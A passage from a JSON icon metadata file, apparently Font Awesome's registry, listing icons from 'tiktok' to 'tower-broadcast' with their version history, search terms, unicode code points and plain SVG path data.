    "free": ["solid"]
  },
  "tiktok": {
    "changes": ["5.13.1", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07b",
    "label": "TikTok",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z"
      }
    },
    "free": ["brands"]
  },
  "timeline": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["chronological", "deadline", "history", "linear"]
    },
    "styles": ["solid"],
    "unicode": "e29c",
    "label": "Timeline",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32 97.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80S48 51.8 48 96c0 32.8 19.7 61 48 73.3V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288v54.7c-28.3 12.3-48 40.5-48 73.3c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V288H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V169.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 32.8 19.7 61 48 73.3V224H160V169.3zM488 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM320 392a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 72a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm32 97.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80S48 51.8 48 96c0 32.8 19.7 61 48 73.3V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H288v54.7c-28.3 12.3-48 40.5-48 73.3c0 44.2 35.8 80 80 80s80-35.8 80-80c0-32.8-19.7-61-48-73.3V288H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H544V169.3c28.3-12.3 48-40.5 48-73.3c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 32.8 19.7 61 48 73.3V224H160V169.3zM488 96a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM320 392a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "toggle-off": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f204"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["button", "off", "on", "switch"]
    },
    "styles": ["solid"],
    "unicode": "f204",
    "label": "Toggle Off",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 128c70.7 0 128 57.3 128 128s-57.3 128-128 128H192c-70.7 0-128-57.3-128-128s57.3-128 128-128H384zM576 256c0-106-86-192-192-192H192C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192zM192 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 128c70.7 0 128 57.3 128 128s-57.3 128-128 128H192c-70.7 0-128-57.3-128-128s57.3-128 128-128H384zM576 256c0-106-86-192-192-192H192C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192zM192 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z"
      }
    },
    "free": ["solid"]
  },
  "toggle-on": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f205"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["button", "off", "on", "switch"]
    },
    "styles": ["solid"],
    "unicode": "f205",
    "label": "Toggle On",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M192 64C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192s-86-192-192-192H192zm192 96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M192 64C86 64 0 150 0 256S86 448 192 448H384c106 0 192-86 192-192s-86-192-192-192H192zm192 96a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "toilet": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6bd"],
        "secondary": ["10f7d8"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bathroom",
        "flush",
        "john",
        "loo",
        "pee",
        "plumbing",
        "poop",
        "porcelain",
        "potty",
        "restroom",
        "throne",
        "toile",
        "toilet",
        "washroom",
        "waste",
        "wc"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7d8",
    "label": "Toilet",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V196.9c-1.9 1.4-3.8 2.9-5.6 4.4C10.9 214.5 0 232.9 0 256c0 46.9 14.3 84.1 37 112.5c14.2 17.7 31.1 31.3 48.5 41.8L65.6 469.9c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H352c10.3 0 19.9-4.9 26-13.3s7.7-19.1 4.4-28.8l-19.8-59.5c17.4-10.5 34.3-24.1 48.5-41.8c22.7-28.4 37-65.5 37-112.5c0-23.1-10.9-41.5-26.4-54.6c-1.8-1.5-3.7-3-5.6-4.4V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM384 256.3c0 1-.3 2.6-3.8 5.6c-4.8 4.1-14 9-29.3 13.4C320.5 284 276.1 288 224 288s-96.5-4-126.9-12.8c-15.3-4.4-24.5-9.3-29.3-13.4c-3.5-3-3.8-4.6-3.8-5.6l0-.3 0-.1c0-1 0-2.5 3.8-5.8c4.8-4.1 14-9 29.3-13.4C127.5 228 171.9 224 224 224s96.5 4 126.9 12.8c15.3 4.4 24.5 9.3 29.3 13.4c3.8 3.2 3.8 4.8 3.8 5.8l0 .1 0 .3zM328.2 384l-.2 .5 0-.5h.2zM112 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V196.9c-1.9 1.4-3.8 2.9-5.6 4.4C10.9 214.5 0 232.9 0 256c0 46.9 14.3 84.1 37 112.5c14.2 17.7 31.1 31.3 48.5 41.8L65.6 469.9c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H352c10.3 0 19.9-4.9 26-13.3s7.7-19.1 4.4-28.8l-19.8-59.5c17.4-10.5 34.3-24.1 48.5-41.8c22.7-28.4 37-65.5 37-112.5c0-23.1-10.9-41.5-26.4-54.6c-1.8-1.5-3.7-3-5.6-4.4V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM384 256.3c0 1-.3 2.6-3.8 5.6c-4.8 4.1-14 9-29.3 13.4C320.5 284 276.1 288 224 288s-96.5-4-126.9-12.8c-15.3-4.4-24.5-9.3-29.3-13.4c-3.5-3-3.8-4.6-3.8-5.6l0-.3 0-.1c0-1 0-2.5 3.8-5.8c4.8-4.1 14-9 29.3-13.4C127.5 228 171.9 224 224 224s96.5 4 126.9 12.8c15.3 4.4 24.5 9.3 29.3 13.4c3.8 3.2 3.8 4.8 3.8 5.8l0 .1 0 .3zM328.2 384l-.2 .5 0-.5h.2zM112 64h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "toilet-paper": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9fb"],
        "secondary": ["10f71e"]
      }
    },
    "changes": ["5.4.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bathroom",
        "covid-19",
        "halloween",
        "holiday",
        "lavatory",
        "paper towels",
        "prank",
        "privy",
        "restroom",
        "roll",
        "roll of paper",
        "toilet",
        "toilet paper",
        "wipe"
      ]
    },
    "styles": ["solid"],
    "unicode": "f71e",
    "label": "Toilet Paper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M444.2 0C397.2 49.6 384 126.5 384 192c0 158.8-27.3 247-42.7 283.9c-10 24-33.2 36.1-55.4 36.1H48c-11.5 0-22.2-6.2-27.8-16.2s-5.6-22.3 .4-32.2c9.8-17.7 15.4-38.2 20.5-57.7C52.3 362.8 64 293.5 64 192C64 86 107 0 160 0H444.2zM512 384c-53 0-96-86-96-192S459 0 512 0s96 86 96 192s-43 192-96 192zm0-128c17.7 0 32-28.7 32-64s-14.3-64-32-64s-32 28.7-32 64s14.3 64 32 64zM144 208a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm64 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm80-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M444.2 0C397.2 49.6 384 126.5 384 192c0 158.8-27.3 247-42.7 283.9c-10 24-33.2 36.1-55.4 36.1H48c-11.5 0-22.2-6.2-27.8-16.2s-5.6-22.3 .4-32.2c9.8-17.7 15.4-38.2 20.5-57.7C52.3 362.8 64 293.5 64 192C64 86 107 0 160 0H444.2zM512 384c-53 0-96-86-96-192S459 0 512 0s96 86 96 192s-43 192-96 192zm0-128c17.7 0 32-28.7 32-64s-14.3-64-32-64s-32 28.7-32 64s14.3 64 32 64zM144 208a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm64 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm80-16a16 16 0 1 0 -32 0 16 16 0 1 0 32 0z"
      }
    },
    "free": ["solid"]
  },
  "toilet-paper-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e072"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bathroom",
        "covid-19",
        "halloween",
        "holiday",
        "lavatory",
        "leaves",
        "prank",
        "privy",
        "restroom",
        "roll",
        "toilet",
        "trouble",
        "ut oh",
        "wipe"
      ]
    },
    "styles": ["solid"],
    "unicode": "e072",
    "label": "Toilet Paper Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-109.7-86C569.9 374 608 291.9 608 192C608 86 565 0 512 0s-96 86-96 192c0 49.1 9.2 93.9 24.4 127.9l-59-46.2c1.6-24.8 2.6-52 2.6-81.6c0-65.5 13.2-142.4 60.2-192H160c-24.8 0-47.4 18.8-64.4 49.6L38.8 5.1zM367.3 385.4L66.5 148.4C64.9 162.4 64 177 64 192c0 101.5-11.7 170.8-23 213.9c-5.1 19.4-10.7 39.9-20.5 57.7c-5.9 9.9-6.1 22.1-.4 32.2S36.5 512 48 512H285.9c22.3 0 45.4-12.1 55.4-36.1c7.4-17.7 17.5-47.2 26-90.6zM544 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7l-109.7-86C569.9 374 608 291.9 608 192C608 86 565 0 512 0s-96 86-96 192c0 49.1 9.2 93.9 24.4 127.9l-59-46.2c1.6-24.8 2.6-52 2.6-81.6c0-65.5 13.2-142.4 60.2-192H160c-24.8 0-47.4 18.8-64.4 49.6L38.8 5.1zM367.3 385.4L66.5 148.4C64.9 162.4 64 177 64 192c0 101.5-11.7 170.8-23 213.9c-5.1 19.4-10.7 39.9-20.5 57.7c-5.9 9.9-6.1 22.1-.4 32.2S36.5 512 48 512H285.9c22.3 0 45.4-12.1 55.4-36.1c7.4-17.7 17.5-47.2 26-90.6zM544 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64z"
      }
    },
    "free": ["solid"]
  },
  "toilet-portable": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["outhouse", "toilet"]
    },
    "styles": ["solid"],
    "unicode": "e583",
    "label": "Toilet Portable",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 32V64H320V32c0-17.7-14.3-32-32-32H32C14.3 0 0 14.3 0 32zM24 96H0v24V488c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H272v8c0 13.3 10.7 24 24 24s24-10.7 24-24V120 96H296 24zM256 240v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V240c0-8.8 7.2-16 16-16s16 7.2 16 16z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 32V64H320V32c0-17.7-14.3-32-32-32H32C14.3 0 0 14.3 0 32zM24 96H0v24V488c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H272v8c0 13.3 10.7 24 24 24s24-10.7 24-24V120 96H296 24zM256 240v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V240c0-8.8 7.2-16 16-16s16 7.2 16 16z"
      }
    },
    "free": ["solid"]
  },
  "toilets-portable": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["outhouse", "toilet"]
    },
    "styles": ["solid"],
    "unicode": "e584",
    "label": "Toilets Portable",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 0H224c17.7 0 32 14.3 32 32V64H0V32C0 14.3 14.3 0 32 0zM0 96H24 232h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H48v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM192 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16zM352 0H544c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32zM320 96h24H552h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H368v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM512 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 0H224c17.7 0 32 14.3 32 32V64H0V32C0 14.3 14.3 0 32 0zM0 96H24 232h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H48v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM192 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16zM352 0H544c17.7 0 32 14.3 32 32V64H320V32c0-17.7 14.3-32 32-32zM320 96h24H552h24v24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24v-8H368v8c0 13.3-10.7 24-24 24s-24-10.7-24-24V120 96zM512 224c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V240c0-8.8-7.2-16-16-16z"
      }
    },
    "free": ["solid"]
  },
  "toolbox": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f0"],
        "secondary": ["10f552"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "admin",
        "chest",
        "container",
        "fix",
        "mechanic",
        "repair",
        "settings",
        "tool",
        "toolbox",
        "tools"
      ]
    },
    "styles": ["solid"],
    "unicode": "f552",
    "label": "Toolbox",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 88v40H336V88c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zm-48 40V88c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56v40h28.1c12.7 0 24.9 5.1 33.9 14.1l51.9 51.9c9 9 14.1 21.2 14.1 33.9V304H384V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H192V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H0V227.9c0-12.7 5.1-24.9 14.1-33.9l51.9-51.9c9-9 21.2-14.1 33.9-14.1H128zM0 416V336H128v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H320v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H512v80c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 88v40H336V88c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zm-48 40V88c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56v40h28.1c12.7 0 24.9 5.1 33.9 14.1l51.9 51.9c9 9 14.1 21.2 14.1 33.9V304H384V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H192V288c0-17.7-14.3-32-32-32s-32 14.3-32 32v16H0V227.9c0-12.7 5.1-24.9 14.1-33.9l51.9-51.9c9-9 21.2-14.1 33.9-14.1H128zM0 416V336H128v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H320v16c0 17.7 14.3 32 32 32s32-14.3 32-32V336H512v80c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64z"
      }
    },
    "free": ["solid"]
  },
  "tooth": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9b7"],
        "secondary": ["10f5c9"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bicuspid",
        "dental",
        "dentist",
        "molar",
        "mouth",
        "teeth",
        "tooth"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5c9",
    "label": "Tooth",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.1 52.1C169.3 39.1 148.7 32 127.5 32C74.7 32 32 74.7 32 127.5v6.2c0 15.8 3.7 31.3 10.7 45.5l23.5 47.1c4.5 8.9 7.6 18.4 9.4 28.2l36.7 205.8c2 11.2 11.6 19.4 22.9 19.8s21.4-7.4 24-18.4l28.9-121.3C192.2 323.7 207 312 224 312s31.8 11.7 35.8 28.3l28.9 121.3c2.6 11.1 12.7 18.8 24 18.4s20.9-8.6 22.9-19.8l36.7-205.8c1.8-9.8 4.9-19.3 9.4-28.2l23.5-47.1c7.1-14.1 10.7-29.7 10.7-45.5v-2.1c0-55-44.6-99.6-99.6-99.6c-24.1 0-47.4 8.8-65.6 24.6l-3.2 2.8 19.5 15.2c7 5.4 8.2 15.5 2.8 22.5s-15.5 8.2-22.5 2.8l-24.4-19-37-28.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M186.1 52.1C169.3 39.1 148.7 32 127.5 32C74.7 32 32 74.7 32 127.5v6.2c0 15.8 3.7 31.3 10.7 45.5l23.5 47.1c4.5 8.9 7.6 18.4 9.4 28.2l36.7 205.8c2 11.2 11.6 19.4 22.9 19.8s21.4-7.4 24-18.4l28.9-121.3C192.2 323.7 207 312 224 312s31.8 11.7 35.8 28.3l28.9 121.3c2.6 11.1 12.7 18.8 24 18.4s20.9-8.6 22.9-19.8l36.7-205.8c1.8-9.8 4.9-19.3 9.4-28.2l23.5-47.1c7.1-14.1 10.7-29.7 10.7-45.5v-2.1c0-55-44.6-99.6-99.6-99.6c-24.1 0-47.4 8.8-65.6 24.6l-3.2 2.8 19.5 15.2c7 5.4 8.2 15.5 2.8 22.5s-15.5 8.2-22.5 2.8l-24.4-19-37-28.8z"
      }
    },
    "free": ["solid"]
  },
  "torii-gate": {
    "aliases": {
      "unicodes": {
        "composite": ["26e9"],
        "secondary": ["10f6a1"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "religion",
        "shinto",
        "shinto shrine",
        "shintoism",
        "shrine"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6a1",
    "label": "Torii Gate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 80c0 26.5 21.5 48 48 48H64v64h64V128h96v64h64V128h96v64h64V128h16c26.5 0 48-21.5 48-48V13.4C512 6 506 0 498.6 0c-1.7 0-3.4 .3-5 1l-49 19.6C425.7 28.1 405.5 32 385.2 32H126.8c-20.4 0-40.5-3.9-59.4-11.4L18.4 1c-1.6-.6-3.3-1-5-1C6 0 0 6 0 13.4V80zM64 288V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288H384V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 80c0 26.5 21.5 48 48 48H64v64h64V128h96v64h64V128h96v64h64V128h16c26.5 0 48-21.5 48-48V13.4C512 6 506 0 498.6 0c-1.7 0-3.4 .3-5 1l-49 19.6C425.7 28.1 405.5 32 385.2 32H126.8c-20.4 0-40.5-3.9-59.4-11.4L18.4 1c-1.6-.6-3.3-1-5-1C6 0 0 6 0 13.4V80zM64 288V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288H384V480c0 17.7 14.3 32 32 32s32-14.3 32-32V288h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64z"
      }
    },
    "free": ["solid"]
  },
  "tornado": {
    "aliases": {
      "unicodes": {
        "composite": ["1f32a"],
        "secondary": ["10f76f"]
      }
    },
    "changes": [
      "5.5.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "cloud",
        "cyclone",
        "dorothy",
        "landspout",
        "tornado",
        "toto",
        "twister",
        "vortext",
        "waterspout",
        "weather",
        "whirlwind"
      ]
    },
    "styles": ["solid"],
    "unicode": "f76f",
    "label": "Tornado",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32V45.6C0 62.7 1.7 79.6 5 96H357.8c3.2-6.9 7.5-13.3 13-18.8l38.6-38.6c4.2-4.2 6.6-10 6.6-16C416 10.1 405.9 0 393.4 0H32C14.3 0 0 14.3 0 32zm352.2 96H13.6c12.2 35.9 32.3 68.7 58.8 96H412l-47.2-62.9c-7.3-9.7-11.6-21.2-12.6-33.1zm-226 138.2l116.4 68.5c8.2 4.8 15.8 10.7 22.5 17.3H445c2-9.8 3-19.9 3-30.1c0-23-5.3-45.5-15.3-65.9H110.2c5.2 3.6 10.5 7 16 10.2zM288 384c10.3 21.4 13.8 45.5 9.9 69l-5.9 35.7c-2 12.2 7.4 23.4 19.8 23.4c5.3 0 10.4-2.1 14.2-5.9l78.2-78.2c12.8-12.8 23.1-27.7 30.4-43.9H288z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32V45.6C0 62.7 1.7 79.6 5 96H357.8c3.2-6.9 7.5-13.3 13-18.8l38.6-38.6c4.2-4.2 6.6-10 6.6-16C416 10.1 405.9 0 393.4 0H32C14.3 0 0 14.3 0 32zm352.2 96H13.6c12.2 35.9 32.3 68.7 58.8 96H412l-47.2-62.9c-7.3-9.7-11.6-21.2-12.6-33.1zm-226 138.2l116.4 68.5c8.2 4.8 15.8 10.7 22.5 17.3H445c2-9.8 3-19.9 3-30.1c0-23-5.3-45.5-15.3-65.9H110.2c5.2 3.6 10.5 7 16 10.2zM288 384c10.3 21.4 13.8 45.5 9.9 69l-5.9 35.7c-2 12.2 7.4 23.4 19.8 23.4c5.3 0 10.4-2.1 14.2-5.9l78.2-78.2c12.8-12.8 23.1-27.7 30.4-43.9H288z"
      }
    },
    "free": ["solid"]
  },
  "tower-broadcast": {
    "aliases": {
      "names": ["broadcast-tower"],
      "unicodes": {
        "secondary": ["10f519"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airwaves",
        "antenna",
        "communication",
        "emergency",
        "radio",
        "reception",
        "waves"
      ]
    },
    "styles": ["solid"],
    "unicode": "f519",
    "label": "Tower Broadcast",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M80.3 44C69.8 69.9 64 98.2 64 128s5.8 58.1 16.3 84c6.6 16.4-1.3 35-17.7 41.7s-35-1.3-41.7-17.7C7.4 202.6 0 166.1 0 128S7.4 53.4 20.9 20C27.6 3.6 46.2-4.3 62.6 2.3S86.9 27.6 80.3 44zM555.1 20C568.6 53.4 576 89.9 576 128s-7.4 74.6-20.9 108c-6.6 16.4-25.3 24.3-41.7 17.7S489.1 228.4 495.7 212c10.5-25.9 16.3-54.2 16.3-84s-5.8-58.1-16.3-84C489.1 27.6 497 9 513.4 2.3s35 1.3 41.7 17.7zM352 128c0 23.7-12.9 44.4-32 55.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V183.4c-19.1-11.1-32-31.7-32-55.4c0-35.3 28.7-64 64-64s64 28.7 64 64zM170.6 76.8C163.8 92.4 160 109.7 160 128s3.8 35.6 10.6 51.2c7.1 16.2-.3 35.1-16.5 42.1s-35.1-.3-42.1-16.5c-10.3-23.6-16-49.6-16-76.8s5.7-53.2 16-76.8c7.1-16.2 25.9-23.6 42.1-16.5s23.6 25.9 16.5 42.1zM464 51.2c10.3 23.6 16 49.6 16 76.8s-5.7 53.2-16 76.8c-7.1 16.2-25.9 23.6-42.1 16.5s-23.6-25.9-16.5-42.1c6.8-15.6 10.6-32.9 10.6-51.2s-3.8-35.6-10.6-51.2c-7.1-16.2 .3-35.1 16.5-42.1s35.1 .3 42.1 16.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
